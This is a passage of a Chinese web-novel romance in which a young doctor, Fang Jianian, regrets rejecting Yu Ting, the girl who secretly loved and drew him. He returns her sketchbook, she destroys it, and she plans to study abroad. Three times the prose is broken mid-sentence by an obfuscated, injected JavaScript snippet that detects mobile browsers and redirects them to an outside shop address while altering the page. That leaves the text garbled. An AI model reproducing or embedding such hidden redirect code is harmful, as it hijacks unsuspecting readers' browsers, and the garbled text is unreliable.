为什么?她又在想什么,为什么会表现出这样的情绪? 啊…… 当瞥到自己身后的江诗逸时,他突然明白过来,原来是误会了啊。 因为看到他和女生站在一起,就感到伤心了么? ——你要怎么办呢?好像没有了我不能活一样。 方嘉年心中叹息,感受着游走在身体四周的那种隐秘快感。 “嘉年哥,你……今天晚上有空吗?” 揪着手指的虞听问出了这句话。 若是放在往常,就算没有空也会先答应下来,但这次却不行。看她一脸期待又紧张,反复做着深呼吸,问一句话都要做足准备的样子,想必今晚的安排必定是重复上次的告白之举,因为精心准备的告白被喝醉酒搞砸了,所以准备重来一次。 但无论重来多少次,方嘉年给出的回答都只会是拒绝。 何必把他们的关系弄复杂呢?还不如就让她误会呢。 方嘉年沉默片刻,看了眼身后的江诗逸,笑着说:“怎么办呢,我今晚已经有约了。” 人是很容易受暗示影响的动物,虞听尤其是。 因为太在意他,所以会自动在脑子里分析他的一举一动,每一个眼神代表的含义。其实他全程都没有说江诗逸是自己的女朋友,但她却已经在心底坐实了这段关系。 看着她失魂落魄的样子,心情没有以往的畅快,只有一股发泄不出的憋闷。 “我什么时候答应跟你吃晚饭了?”江诗逸一脸好笑地问,“这么骗小姑娘,你的良心不会痛吗?” 如果是平时,可能会敷衍两句,但今天并没有这个心情。 他越过江诗逸向前走去。 江诗逸不依不饶地追上来问:“那小姑娘是谁?不是普通的追求者吧,我听她喊你哥。” “妹妹。” “我见过你妹妹啊,不长这样。” 他停下来,试图给他和虞听的关系做个定义,但顿了良久,最后只说:“就是认识的妹妹。” 是的,就让他们的关系停留在这个阶段,不要复杂化。 他回应不了虞听的期许,他成为不了她喜欢的那个人。 所以当方嘉岁发消息来问时,他一下就看出她是受虞听之托来打听的。他敲下一个“嗯”发过去,算是坐实这段虚构的关系。 消息刚发出去,方嘉岁的电话就打了过来。 “你不是吧?真的有女朋友了?”方嘉岁在电话里大声问道。 “就当是这样吧。” 方嘉岁一直喊着“天哪天哪”,伴随着手拍额头的清脆声响,嘴里吐出一长串毫无体统的脏话:“你这个疯子,神经病,垃圾一样的东西,居然真的交女朋友了!你一定会后悔的,方嘉年!我要给虞听介绍好多好多个帅哥,比杀生丸还帅,比巴卫还帅!比金木研还帅!你就等着吧!虞听很快就会把你抛去脑后!” 说完恶狠狠挂了电话。 方嘉年:“……” 妹妹的零花钱还是太多了一点。 14. 火葬场03 在分来急诊科之前,方嘉年上一个待的科室是肿瘤科。 这是个相对来说比较清闲的科室,病人大部分是癌症患者或是老年人,住院部安静得过分。 而急诊科截然相反,这里总是急迫而忙乱的,刀伤、烫伤、老人摔伤、夫妻吵架喝药自杀、年轻小姑娘割腕殉情、小孩调皮误吞灯泡……千奇百怪的病例都有,病人多的时候扎着堆来,压根没有休息的工夫。 急诊科的护士总说最怕的就是下班后来电话,铃声响起的时候恨不得将手机扔入抽水马桶。 方嘉年却喜欢急诊科。 失眠症状已经到了不吃药就睡不着的地步,忙一点对他来说反而更好。 “儿子,多吃点吧,看你最近都憔悴了。” 薛女士满脸心疼地瞧着他,一边说着要找医院领导问问,为什么要这么压榨还在读书的学生。 方嘉年笑了笑,接过她递来的饭盒:“谢谢。” “家人之间,这么客气做什么。”薛女士往便当盒里堆了满满的菜,“多吃点,你和听听两个人都瘦成什么样了,妈妈看了是真难受。以后多回家来吃饭吧,妈妈给你们做好吃的。” 方嘉年夹菜的动作一顿:“听听今天去家里了吗?” “对啊,小姑娘快瘦成薄薄一片了,你爸爸还在那儿说女大十八变,这猪脑子……” 薛女士还在絮叨着一些家常琐事,方嘉年的思绪却已飘远。 从前方嘉岁带虞听回家时,他也会选择回家。 父母与妹妹都习惯睡懒觉,每天不睡到九十点不会醒。而虞听却是个早睡早起的乖孩子,她不想打扰睡觉的人,所以哪怕肚子饿得唱空城计了也强忍着。 自从方嘉年第一次发现后,就带她出去买吃的,这样的事一直做了很多年,在无人的清晨去小区门口的便利店买早餐,甚至成了两人的专属秘密活动。 这次也要饿肚子吗?冰箱里的酸奶好像没有了。 就这样度过了无眠的一夜。 第二天八点,早夜班交接,清晨查完房之后,方嘉年开车回了家。 熬了一整夜的大脑已经有些不清明,他站在便利店外,抽着烟提神时,接收到了虞听隔着透明玻璃向他投来的目光。 哀伤,彷徨,却又透着一股决绝。 他很快就明白了,虞听为什么要用这样的眼神看着他。 ——“我放弃了,哥哥。” ——“从今天起,我……不再喜欢那个人了。” 用第三人称说出的话语其实是对他的告白,因为明知下场是被拒绝,却又不忍这段感情不见天日就被埋葬,所以选择了用这样隐蔽又可怜的方式来告白。 她单方面宣告了这段爱恋的终结,让他们的关系退回到认识的哥哥与妹妹的位置上,他本该觉得满足,因为这就是他所想要的结果,然而率先涌上心头的,却是一阵他自己都不明缘由的失落。 从这之后,虞听开始躲着他。 之所以知道,是因为她再也没来过家里过夜,在学校偶然遇见,看见他扭头就跑。 心情变得肮脏极了。 有时想狠狠地抓住她,当着所有人的面大声质问她为什么要逃跑。 心底的烦闷上升到了顶峰,耳机里的摇滚乐开到最大声也无法压制那股烦躁,他希望陨石从而天降,全世界都毁灭。 一如既往,当内心的戾气无法消散时,他去了常去的工作室。 本来是想打耳洞,但听说打眉钉更痛,所以做了穿刺。 可这次疼痛也不起作用,心底的怒火久久无法平息。 当再次见到虞听时,他明白了那阵怒火的来由。 她的身边站着一个陌生的男孩。 方嘉岁果真给她介绍起了约会对象,有没有比她那一堆纸片人帅不知道,但看上去傻得可以,连话也听不懂,看着让人郁闷。 心气自进电影院起就开始不顺,更别提耳边还有个喋喋不休说着心理健康话题的江诗逸。 答应来看电影纯属是为了还欠她的人情,却没想到这人连电影都选的心理治愈题材。 电影中的男主角身患重度抑郁症,可身边的朋友家人全都不知晓,因为他平时总是以开朗乐观的面貌示人,只有身为心理咨询师的女主才发现了他的不正常…… 多管闲事到这种程度,难道不是一种病态吗? 方嘉年已经感到腻烦了,而他的怒气在看到那小子在漆黑的影厅捧着虞听的脸时全面爆发了。 忘记了这里是公共场所,也不记得戴上自己那副温文尔雅的面具,在那一刻,他的脑海里只有一个念头,那就是将拳头狠狠地揍到那个傻小子脸上。 “……嘉年哥!” 黑暗之中,虞听充满惊讶的声音在耳畔响起。 冲动的后果就是虞听生气了。 她与他大吵了一架,言辞之中颇为维护那个男生,而且屡次对他说不要管她。 血管在扩张,血液在体内叫嚣冲撞,方嘉年气得握着方向盘的手青筋暴起,有一瞬间他甚至怀疑自己会脚踩油门直接撞上前面的车。 ——不该是这样的吧,你不是眼里只有我吗?为什么要看向别人? ——不是说喜欢我的吗?你的喜欢这么轻易就能改变么? “嗯,现在不喜欢了。” 当虞听轻描淡写地说出这句话时,方嘉年仿佛听到了什么破碎的声音。 他很明确,有什么事情弄错了。 “虞听说她很喜欢高山哦,说高山个子又高,性格又可爱,和她也聊得来。你没机会了,谁让你不好好珍惜呢。” 方嘉岁拿着刚结束通话的手机,进入他的房间耀武扬威。 看着一脸得意洋洋的妹妹,方嘉年深吸一口气,看着她道:“可以请你滚出我的房间吗?” “……” 方嘉岁的表情完全呆滞了,过了好半晌,她才“哇”地一声:“你刚刚是对我说了‘滚’吗?怎么回事?模范生也会说脏话吗?方嘉年,你现在是不是真的疯了……” 疯了吗?也许是吧。 多年来的理智防线全面崩塌,脑子好像无法正常运转了。 他把不停吵嚷的妹妹赶出了卧室。 没有想过虞听会得知真相,当喝醉的她泪眼婆娑地声讨他为什么要亲她,说他也有错时,方嘉年没有慌。 没关系,哄好不就行了。 他可以解释。 可当虞听说出“不会再在哥哥眼前出现了”时,所有的表情都消失了,巨大的恐慌袭上心头。 ——你要去哪里?除了我的身边,你还要去哪里? “放开。” 从那张嘴里流露出的话语冷漠无比,几乎令方嘉年窒息,这是从小看到大的虞听会跟他说话的语气? “不想讨厌哥哥,所以放开吧。” 回头看过来的眼神里,已经没有了当初的炙热与悸动,就像深冬的湖面,除了寒冰,一无所有。 方嘉年不知不觉就松开了手。 看着虞听头也不回离开的背影,心脏迟钝地发出尖锐的疼痛。 嘴角漫出苦笑。 看来方嘉岁的诅咒应验了,他开始感到后悔了。 *** “呜——呜——” 手机在床头发出振动,有种不接就能振到天荒地老的架势。 方嘉年被噪音吵醒。 头皮如针扎般剧痛,宿醉带来的不适令人生不如死。他已经许久没喝过酒了,昨天酒后还吞了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583906|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几颗安眠药,最后好不容易才睡着。 手机还在不知疲倦地振动,他接起来。 “哥!起来了吗?”阿杰咋呼的大嗓门灌入耳朵。 他皱眉捏了捏鼻梁,嗓音低哑而干涩:“什么事?” “你昨天有东西落在店里了……” “是什么?” “呃……一个本子,阿姨打扫卫生时发现的。” “那不是我的。”方嘉年说完就要挂断电话。 那边的阿杰却疑惑道:“可这上面画的都是你啊?” 方嘉年按着太阳穴的手一顿:“画?” “是啊,”阿杰感叹道,“画得可好了,跟你本人一模一样……” “放着别碰,我马上去拿。” “什么……” 阿杰还没说完,电话里已经传来“嘟嘟嘟”的忙音。 阿杰所说的本子其实是市面上很常见的活页素描簿,16K大小,因为方便携带,所以美术生常用来做速写练习。 翻开之后,第一页就是他自己。 原来他在虞听眼中长这个样子吗? 方嘉年伸手触摸着那灵动的线条,看着画上的自己或坐或立,有的只是一个脸部的侧面轮廓,或是手的局部特写,手腕、手指、脚踝、眼睛、睫毛、鼻梁……他身体的每一个部位,被虞听以高超的画技临摹在本子上,细细打磨,润饰,镌刻。 画纸的页脚已经卷了边,看得出饱经岁月的风霜,他一页页地翻动着画稿,看着虞听的画技从生涩变得成熟,就好像透过这些轻薄的纸张,看见了漫长时光里那个偷偷暗恋着他的女孩,她将对他的爱慕倾注在笔尖,满怀爱意地画下这一张张素描肖像。 其中甚至还有一张他靠在椅背上打盹的模样。 这又是什么时候画的…… 他发出一声轻笑。 啊,想起来了。 是给她补习的那段日子吧。 那时他忙得无暇分.身,但每周六还是会抽出固定的时间给她辅导功课。大概是与她在一起时太放松了吧,疲倦涌上身体,往常很难入睡的他就像喝了迷药一样昏睡过去。 难怪那时迷迷糊糊之间觉得脸颊有些发痒呢,她就是这么一边观察着他,一边在纸上画下他睡着的样子吗? 方嘉年摇头失笑,指尖摩挲,转而翻开下一页。 笑容却凝固在嘴角。 这一张是人体侧面速写,画上的他正在抽烟。 第一次被虞听发现抽烟时,他有点慌张。 没有想过当着孩子的面做坏事,所以每次想抽烟时,都会找借口出去。 那一次虞听不知道怎么就跟了出来。看着抽烟的他,她满脸的惊讶。 是啊,怎么会不惊讶呢? 当成神明来崇拜的哥哥居然像不良少年一样,有着抽烟的坏习惯,应该很失望吧。 方嘉年下意识地将还在燃烧的香烟藏去了身后,脑子里还在拼命想着该怎么解释这件事,连骗她这其实不是香烟,而是糖果的可笑借口都编出来了,谁知虞听愣了一会儿后,突然收起了震惊的表情,一脸可靠地对他保证道:“放心吧,哥哥,我不会告诉叔叔阿姨的。” “……” 方嘉年感到荒唐地笑了起来。 怎么会有人可爱到这种程度,当时的他是这么想的。 原来她回去之后,将这一幕也画下来了吗? 不同于前面只留下花体签名的画稿,虞听在这一张上写下了一句话: 抽烟的哥哥,有点孤独。 “咚——” 有什么迅速失重落地的声音,心脏跳动之快令人生出恐惧。 方嘉年缓缓合上素描本,按着心律失常的左胸口,神情怅然若失。 15. 火葬场04 “砰——” 没上锁的房门突然被人用力推开,趴在床上看漫画的方嘉岁吓得坐了起来,条件反射将手机往被子下一藏,回头瞪着进来的人。 “说了几遍要敲门!” 方嘉年毫无诚意地在门上敲了三下,随即大步走到床边,居高临下地对着妹妹说:“手机借给我一下。” “干什么?” 方嘉岁满脸警惕,将被子下的手机压得更严实了。 “别藏了,”方嘉年道,“你在看色情漫画,我进来的时候已经看见了。” “什么色情漫画?!” 方嘉岁气得从床上跳了起来:“那是艺术!你懂个屁!” “两个男人不穿衣服的艺术?” 他在门口那么远,都能看见满屏白花花的肉.体和拟声词。 方嘉年不打算再跟她继续争执这些,手伸向她:“手机。” “我为什么要把手机借你?你凭什么对我指手画脚?”方嘉岁半点不给哥哥面子。 对于这个脾气古怪的妹妹,方嘉年已经在漫长的岁月里总结出一套与她相处的方式。他深吸一口气,平静地看着妹妹:“凭我是每个月给你零花钱的人?” 被精准拿捏死穴的方嘉岁果然没话说了,过了半天,才不耐烦又不得不听话地拿出了手机:“要我的手机干什么?” “打电话。” “给谁打?” “……” 他的沉默令方嘉岁更加警惕起来,递着手机的手也收了回去。 方嘉年为什么要借她的手机打电话?她的通话联系人里两人共同认识的除了爸爸妈妈和各路亲戚,就只剩虞听了。 难不成……他是要给虞听打电话? 方嘉岁的脑袋瓜难得灵光了一次:“你要打给虞听?你不是有她的号码吗?不对……你打不通才会借我的打……虞听把你拉黑了!” 经过一番推论,她终于得出了正确的结论。 “那我可不能借给你。”方嘉岁立刻把手机抱得死死的,生怕被抢走。 方嘉年忍着隐隐胀痛的太阳穴:“下个月的零花钱不想要了?” 方嘉岁不屑地“哈”了一声:“你以为我会为了钱背叛朋友?哼,你太小看我了,我可是贫贱不能移,威武不能屈。” 说完又讽刺起他来:“你也有今天,后悔了吧?虞听都不肯搭理你了……” “转你五百。”方嘉年打断她。 “五百算什么,友情可是无价的。”方嘉岁压根看不上这点钱。 “一千。” “切。” “五千。” “……” “你想要多少?” 方嘉年一副“只要你开价,一切好商量”的架势。 五千都能直接去买部手机了,这个疯子。 方嘉岁真是切实体会到了虞听对哥哥造成的影响,他现在就像个只要能跟虞听联系上,什么事都能做的神经病一样。 “多少都不行!”方嘉岁干脆地拒绝,“虞听不是随随便便拉黑别人的人,能做到这个程度,就说明她是真的不想跟你说话了。哥哥,我劝你还是放弃吧,觍着脸还要往上凑的样子最掉价了。” 方嘉年静了静,随即耸肩道:“好吧,本来我不想做到这个地步。如果你非要坚持的话,我也没办法了。” 方嘉岁还没明白过来他的意思,就听见他问道:“你上周逃课去参加漫展了对吧?” “……” “上回这样做还是高三?我记得那次家里停掉了你半个学期的零花钱。你连最新出的动漫周边都没钱买了,最后还是找我借的钱。” “…………” 恶魔一样的哥哥微笑着看向她:“怎么样?要告诉他们吗?” 方嘉岁气得牙龈都要咬碎:“我现在已经是大学生了!” 方嘉年煞有介事地点点头:“说的不错,你已经是大学生了,有经济上的自主支配权。那究竟大学生可不可以一边花着父母的钱,一边逃课去参加漫展呢?这个我也不太清楚呢,要不还是打电话问问……” 他慢条斯理地掏出了手机。 “……算你狠。” 方嘉岁最终含泪拨通了虞听的号码。 那边刚一接通,她就迫不及待道:“我是被逼的!” 说完也不等虞听反应,一把将自己的手机塞进了方嘉年手里。 “岁岁?什么被逼的?你有事吗?”电话里的虞听一头雾水地问。 方嘉年沉默了片刻,这才出声:“是我。” 通话立即陷入了死一般的寂静。 赶在她挂断电话之前,方嘉年开口道:“你有东西在我这里。” 感觉过了五分钟那么漫长,然而通话记录显示才过了一分多钟,听筒里才传来虞听迟疑的回答:“什么东西?” 很好,好奇心真是人类最美好的品质。 方嘉年徐徐吐出一口长气,道:“是一个素描本,上面画的……” “给我吧!” 虞听的声音急切地响了起来,甚至还有些紧张的破音。 方嘉年忍不住微微勾了勾唇角,用以往的轻柔嗓音道:“好。我们在哪里见?你在家吗?哥哥去找你好不好?” 一直竖着耳朵偷听他打电话的方嘉岁立即喊道:“别上当!虞听!他就是在用这个引你上钩!” 方嘉年:“……” 不一会儿后,方嘉岁被关进了卫生间。 不顾一直用力拍打玻璃门的妹妹,方嘉年一手拿着电话,另一只手牢牢把着门把手,靠在门边,继续同电话那边的人讲话:“嗯?我去找你?” “不、不用了……” 不知道虞听是不是听见了刚才方嘉岁的提醒,她磕磕巴巴道:“交给岁岁就好了,让她带给我。” 方嘉年看向隔着磨砂玻璃门,一直在用口型骂他的方嘉岁,淡淡道:“岁岁带不了。” “为什么?” “她不在家。” “……我刚刚还听见她说话?” “嗯,她刚刚出去的。” “……” “不信吗?不信就过来看看,我去接你。” “不了,”虞听轻轻叹了声气,“那就快递寄给我吧。” “寄不了。” “……为什么?” 这次反问的语调里多了些隐隐的火气,也许是察觉出他在故意找茬了。 方嘉年笑了笑:“因为哥哥不会寄快递。” “是老人家吗?这年头谁还不会寄快递……” 她或许以为自己是在很小声地嘟囔,却不知道自己的声音经过扬声器放大了好几倍,刚好能被方嘉年听见。 唇边的笑容愈发扩大,方嘉年低声诱哄道:“带给你好吗?这个素描本这么珍贵,我不放心把它交给任何人。” 他知道自己一旦用低沉的语调说话时,虞听一般都很难抵抗,果然这次她也没能坚持太久:“……我明天下午没课。” “嗯,”方嘉年的语气更加柔和,“那哥哥明天去找你。要吃什么吗?” “不用,就在楼下见好了。” 过了片刻,她补充道:“家里来客人了,哥哥也许会不自在。” 是怕他听了心里难受,所以特意解释一句吗? 即使生着气,也依然是善良的孩子啊。 方嘉年“嗯”了一声:“那就不上去了,我们在楼下见吧。” 沉默在听筒里蔓延,伴随着沙沙的电流声,能听见彼此的呼吸声。 方嘉年享受着这片刻的寂静,不停在体内冲撞的血液似乎也停息了下来,大脑恢复了难得的平静。 “……怎么还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590842|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不挂?”电话里传来了虞听疑惑的语气。 方嘉年笑了:“在等着你先挂。” “因为哥哥是不会挂电话的老人家。”他补充。 “嘟嘟嘟……” 电话立即被挂断了,急促的忙音仿佛诉说着某人有多气急败坏。 *** 第二天下午,方嘉年驱车来到了虞听家楼下。 他来这里的次数很少,只有几次送虞听回家,被虞家爸妈看见了,叫上楼去坐了会儿。 将车在露天车位停好,他在花坛前站着。 距离约好的时间还有十五分钟,本来打算抽根烟,谁知刚从烟盒中抽出一支烟,就看见虞听走了过来。 他将烟放了回去,笑问:“怎么提前出来了?不冷吗?” 虞听:“看见哥哥了。” 方嘉年下意识往楼上看了眼。 虞听家住在22楼,隔着这么高的距离,也能认出是他么? “给我吧。” 白嫩的掌心伸到面前,她偏着头一眼也不看他,刻意回避着视线。 是真的打算一辈子也不看他的脸了么? 方嘉年垂眸看了一眼,似笑非笑:“看见人了不打招呼?” “……” 虞听的脸色迅速涨红了。 懂事的孩子往往比别人具有更高的自我约束要求,虞听从小就被父母教育看见了长辈要叫人,不能当个哑巴,所以方嘉年这话一说,她自己就意识到了不对,低头涨红着脸喊了声“嘉年哥”。 “嗯。吃饭了吗?”方嘉年问。 “吃了。” 说完,她被迫也跟着问候了一句:“哥哥吃了吗?” 方嘉年知道她现在最想做的事就是快速结束对话,拿了素描本上去,但他偏偏不想如她的意。 打量着许久未见的脸,他心想,好像瘦了一点。 “哥还没吃呢。” 虞听紧抿着唇,似被他的回答噎住了。 方嘉年正要提议去附近的餐厅吃点东西,虞听就道:“那哥哥快点把东西给我吧,这样你就能去吃饭了。” 半句话都不想跟他多说的样子。 “学聪明了啊。” 刻意压低的话语从薄唇间流泻出来,并不是让人听不见的程度。 虞听抬头瞪了他一眼,继续伸出手:“本子。” “在车里。” 方嘉年走向停在不远处的车,拉开副驾驶车门,将素描本拿了出来。 在还给虞听之前,他先翻了一翻,笑着说:“不过听听,这上面画的好像都是我啊。” “……那又怎么了?” “难道不该给哥哥肖像费吗?” 这本是一句玩笑话语,因为虞听现在太紧绷了,所以想通过开玩笑缓解他们之间的关系,谁知这句话一说出口,气氛顿时更僵硬了,就连空气都凝滞了一样。 看着虞听眼中逐渐漫上的清澈液体,方嘉年暗自骂了声脏话。 妈的,多那句嘴干什么。 虞听一把抢走了他手里的素描本,翻开看了两眼,突然用力撕扯了下来。 方嘉年阻止已经来不及,只能眼睁睁看着那些画稿一张张撕成了碎片。 虞听流着泪道:“你以为我喜欢过你就可以随便对待我吗?看着这些画,是不是觉得我特别可笑?” 不,他并不觉得可笑! 不仅不觉得可笑,反而还…… 还什么,方嘉年说不上来,只是心脏的疼痛驱使着他必须说点什么。 “对不起,是哥说错话了……” “少自以为是了,”虞听哭得稀里哗啦,看向他的眼神却竖起陌生的尖刺,“这些什么都不是,哥哥在我眼里什么也不是!” 她将素描本的“尸体”一股脑儿扔入垃圾箱,头也不回地跑上了楼去。 16. 火葬场05 虞听回家后就把自己关在房间里,连晚饭也没吃。 送完客人回去的虞家夫妇两人对视了一眼,最终还是由虞妈走上前去,敲了敲女儿的房门。 “宝宝,妈妈可以进来吗?” 门后没有传来任何声音。 虞妈想了想,拧开门把手走了进去。 卧室里很安静,窗帘被紧紧拉着,一丝光也透不进来。床上静静趴着一团黑色的身影,一动不动,像是睡着了。 虞妈走过去,按亮了床头灯,坐在床边,轻轻抚摸着女儿的后脑勺。 “宝宝不饿吗?让爸爸给你下碗面吃,好不好?” “我不饿。” 把脑袋埋在泰迪熊肚子上的虞听瓮声瓮气地回答,声音带着厚厚的鼻音,任谁来听都是哭过了。 “是吗?”虞妈也没有太坚持,而是说,“那今天晚上跟妈妈一起睡觉好不好?我们好久没一起睡了。” 虞听这次没反对。 洗漱完后,穿着睡裙的虞妈躺到了女儿的小床上,她将女儿搂到怀里,轻轻梳理着她的头发,问:“宝宝是不是谈恋爱了?” “没有。” 洗了个热水澡,虞听难过的心情现在已经平复了很多,但眼尾还是带着潮湿的红晕。闻着妈妈身上散发的馨香,往她的怀里靠了靠。 “真的?”虞妈一边抱住她,叹了声气,“宝宝现在都不跟妈妈说小秘密了,还记得你小的时候,经常跟妈妈说你喜欢班上哪个男生……” 怅惘的语气里有说不出的怀念味道。 “真的没有。”虞听在她身上揉着鼻子,忽然又有点想哭了,“就是……就是我喜欢一个人,但是……” “但是?” 虞妈等了半天也没等来下文,结合女儿这段时间的低迷状态,心底隐约有了猜测:“是个渣男?” “……” 虞听一时不知道是该承认还是否认。 要说方嘉年是个坏人,那肯定不是,他是个好人,唯一的坏大概就是不喜欢她。 只是……想起下午他拿素描本上的画来打趣自己,虞听就又生气又伤心。 没错,人家不喜欢自己,还偷偷画了一堆他的画,甚至还被本人发现了。这已经让虞听觉得十分丢人,所以那时她才想快点拿了素描本走人,可没想到他会拿这件事来取笑自己。 坏东西,人渣,败类。 怎么不是渣男呢? “是。”虞听气愤地承认了。 虞妈却松了口气,安慰她:“谁年轻的时候没喜欢过几个渣男呢?既然发现了,那咱们就悬崖勒马,这没什么大不了的。” “妈妈也喜欢过吗?” “当然了,”虞妈给她讲起了自己的例子,“那个人还是我在大学里谈的,当年妈妈也像你一样大,对爱情充满憧憬,结果那个人劈腿。我给他做蛋糕的时候,他还在公园里跟人家女孩子划船呢。” “这么过分!”虞听气得瞪圆了双眼,“那后来呢?” “后来我就把他给踹了,找了你爸爸。” “爸爸也知道这件事吗?” “当然,他和那个人是室友。” “……” 看来是一段非常精彩的青春往事。 虞妈生怕女儿走上歧路,又赶紧说:“不过你不要学妈妈,我当年只是为了赌气,现在想想,其实是很不成熟的行为。幸亏你爸爸是个好的,万一又是个渣的,那妈妈不是一条阴沟里翻了两次船吗?” 虞听点点头,又问:“那妈妈后悔跟爸爸结婚吗?” “不后悔啊,你爸爸是个好人,老实顾家,没那么多花花肠子。再说了,妈妈要不是跟他结婚,怎么能生出这么可爱的女儿呢?” 虞妈摸着女儿光滑细腻的脸蛋,在她的额头上亲了一下。 虞听都快十九岁了,父母还是会经常亲她。 她也很感激自己能投生在这个家庭里。小的时候,总是听班里的同学苦恼地抱怨爸妈又吵架了,就连方家父母都有过吵架的时候,可她的爸妈却从来没吵过架,连拌嘴也没有。 父母给足了她爱与尊重,在溺爱她的同时也不忘好好教育她,正是因为有他们,虞听才成长为今天的样子。 沉默片刻,虞听最终还是说出了自己想了好几次的念头:“妈妈,我……我想休学一段时间。” 正如她设想的那样,虞妈半点都没犹豫:“可以啊。” 她温柔地看着女儿:“觉得累的话,就先休息一段时间吧。爸爸妈妈不是从很小的时候就跟你说过嘛,开心最重要。” “……谢谢妈妈。” 虞听突然鼻腔酸涩,将脸埋进她怀里蹭了蹭。 虞妈摸了摸她的脑袋,替她策划起来:“要不要趁这段时间出去旅行呢?宝宝想去哪儿?啊……妈妈得先请假才行。” “可是我想一个人去。”虞听从她怀中抬起脸,吸着鼻子道。 “一个人?”虞妈蹙起眉头想了想,忽然问,“宝宝,你想不想出国留学?” “啊?”虞听有点愣住。这么突然? “刚刚来家里做客的秦阿姨,她儿子就在英国学设计。宝宝不是学美术的吗?想不想去国外的学校看看?” 虞听主修的确实是西方美术,虽然当初报班时油画、国画、水彩等等都系统地学了一下,但她在素描、油画上的天赋其实是要比国画高的,也更适合去国外接受更系统的西方美术学习。 但是…… 虞听歪着头问:“你们舍得我去吗?” 从小到大,她都是在家门口上的学,没离开过爸妈一步。小时候虞听的自理能力不是那么强,有老师建议虞爸虞妈给她办理寄宿,锻炼一下孩子的独立生活能力。 结果被虞妈当场拒绝了,给出的理由是我们家孩子不需要独立生活,家里能养她一辈子。 连在学校寄宿都舍不得让她去,能放心她漂洋过海去异国求学吗? “舍不得啊,”虞妈光是想想,眼泪就要掉下来了,“可是宝宝大了,爸妈也不能把你绑在身边,或者妈妈辞职陪你去留学?” 不要吧…… 虞听的表情裂开了,去国外留学还要家长陪读,这也太像巨婴了。 虞听:“那我先去打听打听。” 虞妈“嗯”了一声:“你现在正是最好的年纪,多出去看看也可以。” *** 虞听第二天去教务办打听了一下留学事宜。 一般想要留学的话,有两种途径。 一种是在国外就读本科或硕士研究生,很多想要出国深造的孩子在高中阶段就开始准备了。虞听现在大一在读,时间上不是特别合适。如果想申请国外的大学,那就只能放弃国内的学籍,很多学校不会允许学生一边在国外读书的同时,还保留本校学籍作为第二选择,关于办理休学这一点也比较困难。 辅导员推荐她可以考虑短期交换。 临江大学一直有跟国外高校合作的交换生项目,学生只要申请就可以。虽然很多学生都是到了大三才出国交换,那时必修课程比较少,拥有更多余裕,但临江大学可以学分置换,除去极个别通识课外,在外校修过的专业课程不用回国补修,所以也没有关系。 虞爸虞妈不希望女儿去太远的地方,而临江大学的公费留学项目中就有韩国弘益大学,这所学校以视觉传达和工艺设计专业而出名,QS世界排名44。而且韩国的美术生应试教育比国内更卷,从而也导致他们人均都是画手大触。虞听之前就在油管看过一名韩国教授的人体素描课程,简直零帧起手,对骨骼与肌肉的把握精准程度让她到了顶礼膜拜的程度。 选定学校之后,就要看申请条件了。 除去常规的成绩单、专业排名、推荐信、存款证明和面试要求,弘益大学还要求学生必须在国内四年制大学学满1-2年才能申请交换。所以虞听还有一个学期的时间,可以慢慢去准备语言考试和作品集。 咨询完,她抱着老师给的一堆资料走出了教务办公室。 “虞听!”身后传来叫她名字的声音。 虞听还来不及回头,眼前就撞入一张笑吟吟的脸。 男生留着一头油腻的过肩长发,文身密密麻麻,多到令人犯恐惧症的程度,自来熟地笑着问她:“你怎么在这儿?” “来这边有点事。” 虞听不动声色地后退一步,避开对方贴得过近的身体。 “那你事办完了?要不要一起去吃个饭?学校附近最近新开了家烤肉店,听说味道不错,吃完还可以去看个电影。” 他自顾自地安排起来,就好像谁答应了他一样。 虞听打断:“我不吃。” “为什么?不想吃烤肉?那有家三明治做得也不错……” “那个也不吃。” “没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599630|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你嘴还挺挑的,呵呵。那你想吃什么?” 虞听终于停下脚步,皱眉看向他:“我为什么要跟你去吃饭?我又不认识你。” 因为这句话,男生僵硬在了原地。 虞听没有顾及对方逐渐变得难看的脸色,头也不回地走在前面。但没能走出多远,手臂上袭来一股拉拽力道,“啪”地一声,抱在怀里的资料散落了一地。 “喂,你在跟我开玩笑吗?不认识?一起上了一学期的课,甚至上课时我就坐在你旁边,现在跟我说不认识?”男生疾言厉色地质问道。 因为他的大嗓门,走廊上的人全都看了过来。 “放开!”手腕被牢牢抓着,虞听挣脱了几下没甩开,不由得也生气了,“你算老几,我凭什么要认识你?” “哇,看这脾气,长得漂亮就可以无视人吗?告诉你,你也没有漂亮到那种程度。” “长什么样关你什么事!放开我!” 虞听一向与人为善,对人说不出什么重话,但自从减肥成功颜值飞升之后,身边就总是围绕着像眼前这个长发男一样胡搅蛮缠的人,就像虫子一样令人恶心,还很自恋。 